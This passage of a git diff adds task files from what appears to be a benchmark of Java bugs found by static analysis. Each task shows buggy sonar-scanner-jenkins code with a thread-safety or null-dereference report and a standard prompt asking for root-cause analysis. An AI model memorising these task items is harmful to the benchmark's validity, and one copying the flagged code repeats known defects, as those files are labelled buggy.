+        }
+
+    }
+
+    private BlockInfo getBlockInfo() {
+        while (true) {
+            if (null != bestBlockInfo && bestBlockInfo.isFinished()) {
+                break;
+            }
+            try {
+                Thread.sleep(100L);
+            } catch (InterruptedException e) {
+                Log.error(e);
+            }
+            if ((TimeService.currentTimeMillis() - startTime) > 10000L) {
+                lock.unlock();
+                throw new NulsRuntimeException(ErrorCode.TIME_OUT);
+            }
+        }
+        BlockInfo info = bestBlockInfo;
+        bestBlockInfo = null;
+        requesting = false;
+        lock.unlock();
+        return info;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `io.nuls.consensus.utils.DistributedBlockInfoRequestUtils.request` indirectly reads with synchronization from `i18n.I18nUtils.io.nuls.core.i18n.I18nUtils.nowMapping`. Potentially races with unsynchronized write in method `DistributedBlockInfoRequestUtils.request(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+BlockInfo DistributedBlockInfoRequestUtils.request(long,long,long)
+
+### Procedure Id:
+io.nuls.consensus.utils.DistributedBlockInfoRequestUtils.request(long,long,long):io.nuls.consensus.u.0cfdeb76c5243d7a211bd0a63592bab4
+
+### File:
+consensus-impl/src/main/java/io/nuls/consensus/utils/DistributedBlockInfoRequestUtils.java
+
+### Key:
+DistributedBlockInfoRequestUtils.java|request|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+34aa3c8a5dd429567823c117d689b287
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4106/instruction.md b/inferredbugs-4106/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0b388721e946dfa3a8ce2e407ad308568f324d83
--- /dev/null
+++ b/inferredbugs-4106/instruction.md
@@ -0,0 +1,563 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sonar-scanner-jenkins
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Jenkins Plugin for SonarQube, open source software quality management tool.
+ * mailto:contact AT sonarsource DOT com
+ *
+ * Jenkins Plugin for SonarQube is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 3 of the License, or (at your option) any later version.
+ *
+ * Jenkins Plugin for SonarQube is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public License
+ * along with this program; if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+ */
+/*
+ * Sonar is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 3 of the License, or (at your option) any later version.
+ *
+ * Sonar is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with Sonar; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02
+ */
+package hudson.plugins.sonar;
+
+import com.google.common.annotations.VisibleForTesting;
+import hudson.EnvVars;
+import hudson.Extension;
+import hudson.FilePath;
+import hudson.Launcher;
+import hudson.Util;
+import hudson.model.Action;
+import hudson.model.BuildListener;
+import hudson.model.TaskListener;
+import hudson.model.AbstractBuild;
+import hudson.model.AbstractProject;
+import hudson.model.Computer;
+import hudson.model.JDK;
+import hudson.model.Run;
+import hudson.plugins.sonar.action.BuildSonarAction;
+import hudson.plugins.sonar.action.ProjectSonarAction;
+import hudson.plugins.sonar.action.UrlSonarAction;
+import hudson.plugins.sonar.utils.ExtendedArgumentListBuilder;
+import hudson.plugins.sonar.utils.Logger;
+import hudson.plugins.sonar.utils.SonarUtils;
+import hudson.scm.SCM;
+import hudson.tasks.BuildStepDescriptor;
+import hudson.tasks.Builder;
+import hudson.util.ArgumentListBuilder;
+import jenkins.model.Jenkins;
+import jenkins.tasks.SimpleBuildStep;
+import jenkins.triggers.SCMTriggerItem;
+import org.apache.commons.lang.StringUtils;
+import org.kohsuke.stapler.DataBoundConstructor;
+
+import javax.annotation.Nullable;
+
+import java.io.IOException;
+import java.io.StringReader;
+import java.util.Collection;
+import java.util.Map.Entry;
+import java.util.Properties;
+
+/**
+ * @since 1.7
+ */
+public class SonarRunnerBuilder extends Builder implements SimpleBuildStep {
+
+  /**
+   * Identifies {@link SonarInstallation} to be used.
+   */
+  private String installationName;
+  private final String project;
+  private final String properties;
+  private final String javaOpts;
+  private final String additionalArguments;
+
+  /**
+   * Identifies {@link JDK} to be used.
+   * Null if no explicit configuration is required.
+   *
+   * <p>
+   * Can't store {@link JDK} directly because {@link jenkins.model.Jenkins} and {@link hudson.model.Project}
+   * are saved independently.
+   *
+   * @see jenkins.model.Jenkins#getJDK(String)
+   */
+  private String jdk;
+
+  /**
+   * Identifies {@link SonarRunnerInstallation} to be used.
+   * @since 2.0
+   */
+  private String sonarRunnerName;
+
+  /**
+   * Optional task to run
+   * @since 2.1
+   */
+  private final String task;
+
+  @DataBoundConstructor
+  public SonarRunnerBuilder(String installationName, String sonarRunnerName, String project, String properties, String javaOpts, String jdk, String task,
+    String additionalArguments) {
+    this.installationName = installationName;
+    this.sonarRunnerName = sonarRunnerName;
+    this.javaOpts = javaOpts;
+    this.project = project;
+    this.properties = properties;
+    this.jdk = jdk;
+    this.task = task;
+    this.additionalArguments = additionalArguments;
+  }
+
+  /**
+   * @return name of {@link hudson.plugins.sonar.SonarInstallation}
+   */
+  public String getInstallationName() {
+    return Util.fixNull(installationName);
+  }
+
+  public void setInstallationName(String installationName) {
+    this.installationName = installationName;
+  }
+
+  /**
+   * @return name of {@link hudson.plugins.sonar.SonarRunnerInstallation}
+   */
+  public String getSonarRunnerName() {
+    return Util.fixNull(sonarRunnerName);
+  }
+
+  public void setSonarRunnerName(String sonarRunnerName) {
+    this.sonarRunnerName = sonarRunnerName;
+  }
+
+  /**
+   * Gets the JDK that this Sonar builder is configured with, or null.
+   */
+  public JDK getJDK() {
+    return Jenkins.getInstance().getJDK(jdk);
+  }
+
+  public String getJdkName() {
+    return jdk;
+  }
+
+  public void setJdkName(String jdk) {
+    this.jdk = jdk;
+  }
+
+  /**
+   * @return path to a file with properties for project, never <tt>null</tt>
+   */
+  public String getProject() {
+    return Util.fixNull(project);
+  }
+
+  /**
+   * @return additional properties, never <tt>null</tt>
+   */
+  public String getProperties() {
+    return Util.fixNull(properties);
+  }
+
+  /**
+   * @return Java options, never <tt>null</tt>
+   */
+  public String getJavaOpts() {
+    return Util.fixNull(javaOpts);
+  }
+
+  public String getAdditionalArguments() {
+    return Util.fixNull(additionalArguments);
+  }
+
+  public SonarInstallation getSonarInstallation() {
+    return SonarInstallation.get(getInstallationName());
+  }
+
+  public String getTask() {
+    return task;
+  }
+
+  @Override
+  public DescriptorImpl getDescriptor() {
+    return (DescriptorImpl) super.getDescriptor();
+  }
+
+  public SonarRunnerInstallation getSonarRunnerInstallation() {
+    for (SonarRunnerInstallation sri : getDescriptor().getSonarRunnerInstallations()) {
+      if (sonarRunnerName != null && sonarRunnerName.equals(sri.getName())) {
+        return sri;
+      }
+    }
+    // If no installation match then take the first one
+    if (getDescriptor().getSonarRunnerInstallations().length > 0) {
+      return getDescriptor().getSonarRunnerInstallations()[0];
+    }
+    return null;
+  }
+
+  @Override
+  public void perform(Run<?, ?> run, FilePath workspace, Launcher launcher, TaskListener listener) throws InterruptedException, IOException {
+    performInternal(run, workspace, launcher, listener);
+  }
+
+  private boolean performInternal(Run<?, ?> run, FilePath workspace, Launcher launcher, TaskListener listener) throws IOException, InterruptedException {
+    if (!SonarInstallation.isValid(getInstallationName(), listener)) {
+      return false;
+    }
+
+    ArgumentListBuilder args = new ArgumentListBuilder();
+
+    EnvVars env = run.getEnvironment(listener);
+    if (run instanceof AbstractBuild) {
+      env.overrideAll(((AbstractBuild<?, ?>) run).getBuildVariables());
+    }
+
+    SonarRunnerInstallation sri = getSonarRunnerInstallation();
+    if (sri == null) {
+      args.add(launcher.isUnix() ? "sonar-runner" : "sonar-runner.bat");
+    } else {
+      sri = sri.forNode(getComputer(workspace).getNode(), listener);
+      sri = sri.forEnvironment(env);
+      String exe = sri.getExecutable(launcher);
+      if (exe == null) {
+        Logger.printFailureMessage(listener);
+        listener.fatalError(Messages.SonarRunner_ExecutableNotFound(sri.getName()));
+        return false;
+      }
+      args.add(exe);
+      env.put("SONAR_RUNNER_HOME", sri.getHome());
+    }
+
+    SonarInstallation sonarInst = getSonarInstallation();
+    addTaskArgument(args);
+    addAdditionalArguments(args, sonarInst);
+    ExtendedArgumentListBuilder argsBuilder = new ExtendedArgumentListBuilder(args, launcher.isUnix());
+    if (!populateConfiguration(argsBuilder, run, workspace, listener, env, sonarInst)) {
+      return false;
+    }
+
+    // Java
+    computeJdkToUse(run, workspace, listener, env);
+
+    // Java options
+    env.put("SONAR_RUNNER_OPTS", getJavaOpts());
+
+    long startTime = System.currentTimeMillis();
+    int r;
+    try {
+      r = executeSonarRunner(run, workspace, launcher, listener, args, env);
+    } catch (IOException e) {
+      handleErrors(run, listener, sri, startTime, e);
+      r = -1;
+    }
+    return r == 0;
+  }
+
+  private static Computer getComputer(FilePath ws) {
+    Computer computer = null;
+    for (Computer c : Jenkins.getInstance().getComputers()) {
+      if (c.getChannel() == ws.getChannel()) {
+        computer = c;
+        break;
+      }
+    }
+    return computer;
+  }
+
+  @Override
+  public boolean perform(AbstractBuild<?, ?> build, Launcher launcher, BuildListener listener) throws IOException, InterruptedException {
+    return performInternal(build, build.getWorkspace(), launcher, listener);
+  }
+
+  private void handleErrors(Run<?, ?> build, TaskListener listener, SonarRunnerInstallation sri, long startTime, IOException e) {
+    Logger.printFailureMessage(listener);
+    Util.displayIOException(e, listener);
+
+    String errorMessage = Messages.SonarRunner_ExecFailed();
+    if (sri == null && (System.currentTimeMillis() - startTime) < 1000 && getDescriptor().getSonarRunnerInstallations() == null) {
+      // looks like the user didn't configure any SonarQube Runner installation
+      errorMessage += Messages.SonarRunner_GlobalConfigNeeded();
+    }
+    e.printStackTrace(listener.fatalError(errorMessage));
+
+    try {
+      SonarUtils.addUrlActionTo(build);
+    } catch (IOException e1) {
+      e1.printStackTrace(listener.fatalError(errorMessage));
+    }
+
+    // Badge should be added only once - SONARPLUGINS-1521
+    if (build.getAction(BuildSonarAction.class) == null) {
+      build.addAction(new BuildSonarAction());
+    }
+  }
+
+  private int executeSonarRunner(Run<?, ?> build, FilePath workspace, Launcher launcher, TaskListener listener, ArgumentListBuilder args, EnvVars env) throws IOException,
+    InterruptedException {
+    int r = launcher.launch().cmds(args).envs(env).stdout(listener).pwd(getModuleRoot(build, workspace)).join();
+    UrlSonarAction urlAction = SonarUtils.addUrlActionTo(build);
+
+    // with workflows, we don't have realtime access to build logs, so url might be null
+    String url = urlAction != null ? urlAction.getSonarUrl() : null;
+
+    if (build.getAction(BuildSonarAction.class) == null && r == 0) {
+      build.addAction(new BuildSonarAction(url));
+    }
+    return r;
+  }
+
+  private static FilePath getModuleRoot(Run<?, ?> run, FilePath workspace) {
+    FilePath moduleRoot = null;
+    if (run instanceof AbstractBuild) {
+      AbstractBuild<?, ?> build = (AbstractBuild<?, ?>) run;
+      moduleRoot = build.getModuleRoot();
+    } else {
+      // otherwise get the first module of the first SCM
+      Object parent = run.getParent();
+      if (parent instanceof SCMTriggerItem) {
+        SCMTriggerItem scmTrigger = (SCMTriggerItem) parent;
+        Collection<? extends SCM> scms = scmTrigger.getSCMs();
+        if (scms != null && !scms.isEmpty()) {
+          SCM scm = scms.iterator().next();
+          FilePath[] moduleRoots = scm.getModuleRoots(workspace, null);
+          moduleRoot = moduleRoots != null && moduleRoots.length > 0 ? moduleRoots[0] : null;
+        }
+      }
+      if (moduleRoot == null) {
+        moduleRoot = workspace;
+      }
+    }
+    return moduleRoot;
+  }
+
+  private static AbstractProject<?, ?> getProject(Run<?, ?> run) {
+    AbstractProject<?, ?> project = null;
+    if (run instanceof AbstractBuild) {
+      AbstractBuild<?, ?> build = (AbstractBuild<?, ?>) run;
+      project = build.getProject();
+    }
+    return project;
+  }
+
+  private void computeJdkToUse(Run<?, ?> build, FilePath workspace, TaskListener listener, EnvVars env) throws IOException, InterruptedException {
+    JDK jdkToUse = getJdkToUse(getProject(build));
+    if (jdkToUse != null) {
+      Computer computer = getComputer(workspace);
+      // just in case we are not in a build
+      if (computer != null) {
+        jdkToUse = jdkToUse.forNode(computer.getNode(), listener);
+      }
+      jdkToUse.buildEnvVars(env);
+    }
+  }
+
+  @VisibleForTesting
+  void addAdditionalArguments(ArgumentListBuilder args, SonarInstallation inst) {
+    args.addTokenized(inst.getAdditionalProperties());
+    args.add(inst.getAdditionalAnalysisPropertiesUnix());
+    args.addTokenized(additionalArguments);
+
+    if (!args.toList().contains("-e")) {
+      args.add("-e");
+    }
+  }
+
+  private void addTaskArgument(ArgumentListBuilder args) {
+    if (StringUtils.isNotBlank(getTask())) {
+      args.add(task);
+    }
+  }
+
+  @VisibleForTesting
+  boolean populateConfiguration(ExtendedArgumentListBuilder args, Run<?, ?> build, FilePath workspace,
+    TaskListener listener, EnvVars env, SonarInstallation si) throws IOException, InterruptedException {
+    if (si != null) {
+      args.append("sonar.jdbc.url", si.getDatabaseUrl());
+      args.appendMasked("sonar.jdbc.username", si.getDatabaseLogin());
+      args.appendMasked("sonar.jdbc.password", si.getDatabasePassword());
+      args.append("sonar.host.url", si.getServerUrl());
+      if (StringUtils.isNotBlank(si.getSonarLogin())) {
+        args.appendMasked("sonar.login", si.getSonarLogin());
+        args.appendMasked("sonar.password", si.getSonarPassword());
+      }
+    }
+
+    FilePath moduleRoot = getModuleRoot(build, workspace);
+    args.append("sonar.projectBaseDir", moduleRoot.getRemote());
+
+    // Project properties
+    if (StringUtils.isNotBlank(getProject())) {
+      String projectSettingsFile = env.expand(getProject());
+      FilePath projectSettingsFilePath = getModuleRoot(build, workspace).child(projectSettingsFile);
+      if (!projectSettingsFilePath.exists()) {
+        // because of the poor choice of getModuleRoot() with CVS/Subversion, people often get confused
+        // with where the build file path is relative to. Now it's too late to change this behavior
+        // due to compatibility issue, but at least we can make this less painful by looking for errors
+        // and diagnosing it nicely. See HUDSON-1782
+
+        // first check if this appears to be a valid relative path from workspace root
+        if (workspace == null) {
+          listener.fatalError("Project workspace is null");
+          return false;
+        }
+        FilePath projectSettingsFilePath2 = workspace.child(projectSettingsFile);
+        if (projectSettingsFilePath2.exists()) {
+          // This must be what the user meant. Let it continue.
+          projectSettingsFilePath = projectSettingsFilePath2;
+        } else {
+          // neither file exists. So this now really does look like an error.
+          listener.fatalError("Unable to find Sonar project settings at " + projectSettingsFilePath);
+          return false;
+        }
+      }
+      args.append("project.settings", projectSettingsFilePath.getRemote());
+    }
+
+    // Additional properties
+    Properties p = new Properties();
+    p.load(new StringReader(env.expand(getProperties())));
+    loadProperties(args, p);
+
+    return true;
+  }
+
+  private void loadProperties(ExtendedArgumentListBuilder args, Properties p) {
+    for (Entry<Object, Object> entry : p.entrySet()) {
+      args.append(entry.getKey().toString(), entry.getValue().toString());
+    }
+  }
+
+  /**
+   * @return JDK to be used with this project.
+   */
+  private JDK getJdkToUse(@Nullable AbstractProject<?, ?> project) {
+    JDK jdkToUse = getJDK();
+    if (jdkToUse == null && project != null) {
+      jdkToUse = project.getJDK();
+    }
+    return jdkToUse;
+  }
+
+  @Override
+  public Action getProjectAction(AbstractProject<?, ?> project) {
+    return new ProjectSonarAction(project);
+  }
+
+  @Extension
+  public static final class DescriptorImpl extends BuildStepDescriptor<Builder> {
+
+    /**
+     * This method is used in UI, so signature and location of this method is important.
+     *
+     * @return all configured {@link hudson.plugins.sonar.SonarInstallation}
+     */
+    public SonarInstallation[] getSonarInstallations() {
+      return SonarInstallation.enabled();
+    }
+
+    @Override
+    public boolean isApplicable(Class<? extends AbstractProject> jobType) {
+      return true;
+    }
+
+    @Override
+    public String getDisplayName() {
+      return Messages.SonarRunnerBuilder_DisplayName();
+    }
+
+    public SonarRunnerInstallation[] getSonarRunnerInstallations() {
+      return Jenkins.getInstance().getDescriptorByType(SonarRunnerInstallation.DescriptorImpl.class).getInstallations();
+    }
+
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getComputer(workspace)` could be null and is dereferenced at line 234.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean SonarRunnerBuilder.performInternal(AbstractBuild,FilePath,Launcher,TaskListener)
+
+### Procedure Id:
+hudson.plugins.sonar.SonarRunnerBuilder.performInternal(hudson.model.AbstractBuild,hudson.FilePath,h.f5eba194e4e24c4afa30a6fd34fd3ad9
+
+### File:
+src/main/java/hudson/plugins/sonar/SonarRunnerBuilder.java
+
+### Key:
+SonarRunnerBuilder.java|performInternal|NULL_DEREFERENCE
+
+### Node Key:
+8ad9bdf23d3b944cbabf98097b511dd0
+
+### Hash:
+86d478567629013d1caff38de02e68de
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4107/instruction.md b/inferredbugs-4107/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..de6617d81f68d102c05a9f2a1df642a62cf5d821
--- /dev/null
+++ b/inferredbugs-4107/instruction.md
@@ -0,0 +1,254 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sonar-scanner-jenkins
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * SonarQube Scanner for Jenkins
+ * Copyright (C) 2007-2019 SonarSource SA
+ * mailto:info AT sonarsource DOT com
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 3 of the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public License
+ * along with this program; if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+ */
+package hudson.plugins.sonar;
+
+import com.cloudbees.plugins.credentials.CredentialsMatchers;
+import com.cloudbees.plugins.credentials.common.StandardListBoxModel;
+import hudson.CopyOnWrite;
+import hudson.Extension;
+import hudson.ExtensionList;
+import hudson.init.InitMilestone;
+import hudson.init.Initializer;
+import hudson.plugins.sonar.SonarPublisher.DescriptorImpl;
+import hudson.plugins.sonar.utils.Logger;
+import hudson.security.ACL;
+import hudson.util.FormValidation;
+import hudson.util.ListBoxModel;
+import jenkins.model.GlobalConfiguration;
+import jenkins.model.Jenkins;
+import net.sf.json.JSONObject;
+import org.apache.commons.lang.ArrayUtils;
+import org.apache.commons.lang.StringUtils;
+import org.jenkinsci.plugins.plaincredentials.StringCredentials;
+import org.kohsuke.stapler.QueryParameter;
+import org.kohsuke.stapler.StaplerRequest;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Optional;
+
+/**
+ * Since 2.4
+ * The global configuration was migrated from SonarPublisher to this component.
+ */
+@Extension(ordinal = 100)
+public class SonarGlobalConfiguration extends GlobalConfiguration {
+  @CopyOnWrite
+  private volatile SonarInstallation[] installations = new SonarInstallation[0];
+  private volatile boolean buildWrapperEnabled = false;
+  boolean dataMigrated = false;
+  private boolean credentialsMigrated;
+
+  public SonarGlobalConfiguration() {
+    load();
+  }
+
+  /**
+   * @return all configured {@link hudson.plugins.sonar.SonarInstallation}
+   */
+  public SonarInstallation[] getInstallations() {
+    return installations;
+  }
+
+  public boolean isBuildWrapperEnabled() {
+    return buildWrapperEnabled;
+  }
+
+  public void setInstallations(SonarInstallation... installations) {
+    this.installations = installations;
+    save();
+  }
+
+  public void setBuildWrapperEnabled(boolean enabled) {
+    this.buildWrapperEnabled = enabled;
+    save();
+  }
+
+  /**
+   * Attempts to migrate data from SonarPublished, which was previously holding the global configuration.
+   * It will refuse to migrate if a SonarQube installation already exists in this class.
+   * Migration will only be attempted once. 
+   */
+  @SuppressWarnings("deprecation")
+  @Initializer(after = InitMilestone.JOB_LOADED)
+  public void migrateData() {
+    if (dataMigrated) {
+      return;
+    }
+    Optional<DescriptorImpl> publisherOpt = ExtensionList.lookup(SonarPublisher.DescriptorImpl.class).stream().findFirst();
+    // SonarPublisher might be missing if Maven plugin is disabled or not installed
+    publisherOpt.ifPresent(publisher -> {
+      if (publisher.getDeprecatedInstallations() != null && publisher.getDeprecatedInstallations().length > 0) {
+        if (ArrayUtils.isEmpty(this.installations)) {
+          this.installations = publisher.getDeprecatedInstallations();
+          this.buildWrapperEnabled = publisher.isDeprecatedBuildWrapperEnabled();
+          save();
+        } else {
+          Logger.LOG.warning("SonarQube server configurations exist in both deprecated SonarPublisher and SonarGlobalConfiguration. Deleting deprecated configuration..");
+        }
+
+        publisher.deleteGlobalConfiguration();
+      }
+    });
+
+    dataMigrated = true;
+    save();
+  }
+
+  @Initializer(after = InitMilestone.JOB_LOADED)
+  public void migrateCredentials() {
+    if (credentialsMigrated) {
+      return;
+    }
+
+    Arrays.stream(this.installations).forEach(SonarInstallation::migrateTokenToCredential);
+
+    credentialsMigrated = true;
+    save();
+  }
+
+  @Override
+  public boolean configure(StaplerRequest req, JSONObject json) {
+    List<SonarInstallation> list = req.bindJSONToList(SonarInstallation.class, json.get("inst"));
+    boolean enableBuildWrapper = json.getBoolean("enableBuildWrapper");
+    setInstallations(list.toArray(new SonarInstallation[list.size()]));
+    setBuildWrapperEnabled(enableBuildWrapper);
+
+    return true;
+  }
+
+  public FormValidation doCheckMandatory(@QueryParameter String value) {
+    return StringUtils.isBlank(value) ? FormValidation.error(Messages.SonarGlobalConfiguration_MandatoryProperty()) : FormValidation.ok();
+  }
+
+  public static SonarGlobalConfiguration get() {
+    return GlobalConfiguration.all().get(SonarGlobalConfiguration.class);
+  }
+
+  @SuppressWarnings("unused")
+  public ListBoxModel doFillCredentialsIdItems(@QueryParameter String credentialsId) {
+    if (!Jenkins.getInstance().hasPermission(Jenkins.ADMINISTER)) {
+      return new StandardListBoxModel().includeCurrentValue(credentialsId);
+    }
+
+    return new StandardListBoxModel()
+      .includeEmptyValue()
+      .includeMatchingAs(
+        ACL.SYSTEM,
+        Jenkins.getInstance(),
+        StringCredentials.class,
+        Collections.emptyList(),
+        CredentialsMatchers.always()
+      );
+  }
+
+  @SuppressWarnings("unused")
+  public ListBoxModel doFillWebhookSecretIdItems(@QueryParameter String webhookSecretId) {
+    if (!Jenkins.getInstance().hasPermission(Jenkins.ADMINISTER)) {
+      return new StandardListBoxModel().includeCurrentValue(webhookSecretId);
+    }
+
+    return new StandardListBoxModel()
+      .includeEmptyValue()
+      .includeMatchingAs(
+        ACL.SYSTEM,
+        Jenkins.getInstance(),
+        StringCredentials.class,
+        Collections.emptyList(),
+        CredentialsMatchers.always()
+      );
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getInstance()`  at line 165.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+ListBoxModel SonarGlobalConfiguration.doFillWebhookSecretIdItems(String)
+
+### Procedure Id:
+hudson.plugins.sonar.SonarGlobalConfiguration.doFillWebhookSecretIdItems(java.lang.String):hudson.ut.875e2817aac2fa51008be5a7065ed9ea
+
+### File:
+src/main/java/hudson/plugins/sonar/SonarGlobalConfiguration.java
+
+### Key:
+SonarGlobalConfiguration.java|doFillWebhookSecretIdItems|NULL_DEREFERENCE
+
+### Node Key:
+4b40b6082bd107d1be4b63c3cbf01ec1
+
+### Hash:
+9148f8e46e3b4a18bc6aa5011b5e6cf8
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4109/instruction.md b/inferredbugs-4109/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cdf591e8d7695df84394d48b779d5ed2db8dbfa7
--- /dev/null
+++ b/inferredbugs-4109/instruction.md
@@ -0,0 +1,216 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sonar-scanner-jenkins
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Jenkins Plugin for SonarQube, open source software quality management tool.
+ * mailto:contact AT sonarsource DOT com
+ *
+ * Jenkins Plugin for SonarQube is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 3 of the License, or (at your option) any later version.
+ *
+ * Jenkins Plugin for SonarQube is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public License
+ * along with this program; if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+ */
+package hudson.plugins.sonar.client;
+
+import hudson.plugins.sonar.SonarInstallation;
+import hudson.plugins.sonar.client.WsClient.CETask;
+import hudson.plugins.sonar.client.WsClient.ProjectQualityGate;
+import hudson.plugins.sonar.utils.Logger;
+import hudson.plugins.sonar.utils.SonarUtils;
+import org.apache.commons.lang.StringUtils;
+
+import javax.annotation.CheckForNull;
+
+import java.util.logging.Level;
+
+public class SQProjectResolver {
+  private final HttpClient client;
+
+  public SQProjectResolver(HttpClient client) {
+    this.client = client;
+  }
+
+  /**
+   * Resolve information concerning the quality gate.
+   * Might return null if it's not possible to fetch it, which should be interpreted as 'nothing to display'.
+   * Errors that should be displayed are included in {@link ProjectInformation#getErrors()}.
+   */
+  @CheckForNull
+  public ProjectInformation resolve(String projectUrl, String ceTaskId, String installationName) {
+    SonarInstallation inst = SonarInstallation.get(installationName);
+    if (inst == null) {
+      Logger.LOG.info("Invalid installation name: " + installationName);
+      return null;
+    }
+
+    try {
+      String projectKey = extractProjectKey(projectUrl);
+      String serverUrl = extractServerUrl(projectUrl);
+      WsClient wsClient = new WsClient(client, serverUrl, inst.getSonarLogin(), inst.getSonarPassword());
+
+      if (!checkServerUrl(serverUrl, projectKey, inst)) {
+        return null;
+      }
+
+      Float version;
+      if (ceTaskId != null) {
+        // CE was introduced in 5.2
+        version = 5.2f;
+      } else {
+        String strVersion = wsClient.getServerVersion();
+        version = SonarUtils.extractMajorMinor(strVersion);
+        if (version == null) {
+          Logger.LOG.info("Failed to parse server version: " + strVersion);
+          return null;
+        }
+      }
+
+      ProjectInformation projectInfo = new ProjectInformation(projectKey);
+      projectInfo.setUrl(projectUrl);
+
+      getQualityGate(wsClient, projectInfo, projectKey, version);
+      getCETask(wsClient, projectInfo, ceTaskId, version);
+
+      if (projectInfo.getProjectName() == null) {
+        projectInfo.setName(wsClient.getProjectName(projectKey));
+      }
+
+      return projectInfo;
+
+    } catch (Exception e) {
+      Logger.LOG.log(Level.WARNING, "Error fetching project information", e);
+      return null;
+    }
+  }
+
+  private static void getCETask(WsClient wsClient, ProjectInformation projectInfo, String ceTaskId, Float version) throws Exception {
